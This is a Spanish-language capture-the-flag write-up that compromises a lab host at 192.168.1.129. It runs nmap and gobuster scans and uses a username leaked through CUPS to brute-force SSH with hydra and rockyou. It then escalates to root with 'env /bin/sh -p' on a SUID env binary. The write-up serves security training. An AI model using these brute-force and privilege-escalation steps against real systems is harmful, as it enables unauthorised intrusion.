Comenzamos con un escaneo general de puertos y, a partir de los puertos abiertos, uno específico para identificar versiones y servicios:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.129❯ nmap -sCV -p22,80,631 -oN 02-targeted.txt 192.168.1.129
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-25 00:30 -03
Nmap scan report for 192.168.1.129
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open ipp CUPS 2.3
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.92 secondsTenemos tres servicios expuestos: SSH (22), un Apache con la página por defecto (80) y un servicio de impresión CUPS (631). Enumeramos el sitio web en busca de rutas adicionales con gobuster:
❯ gobuster dir -u http://192.168.1.129 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -rLa pista útil aparece en el servicio CUPS, donde se filtra un nombre de usuario válido del sistema. Con ese usuario lanzamos un ataque de fuerza bruta contra SSH usando hydra:
❯ hydra -l dimitri -P ~/Documentos/wordlists/rockyou.txt 192.168.1.129 ssh -t 64
...
[22][ssh] host: 192.168.1.129 login: dimitri password: mememe
...Nos conectamos por SSH con las credenciales dimitri:mememe y obtenemos la primera flag.
Para escalar privilegios, buscamos binarios con el bit SUID activado:
dimitri@basic:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/env
...El binario env tiene el bit SUID, lo que permite abusarlo para ejecutar un intérprete heredando los privilegios del propietario (root). Según GTFOBins, lanzamos una shell con -p para preservar el UID efectivo:
dimitri@basic:~$ env /bin/sh -p
# whoami
rootObtenemos nuestra flag y fin.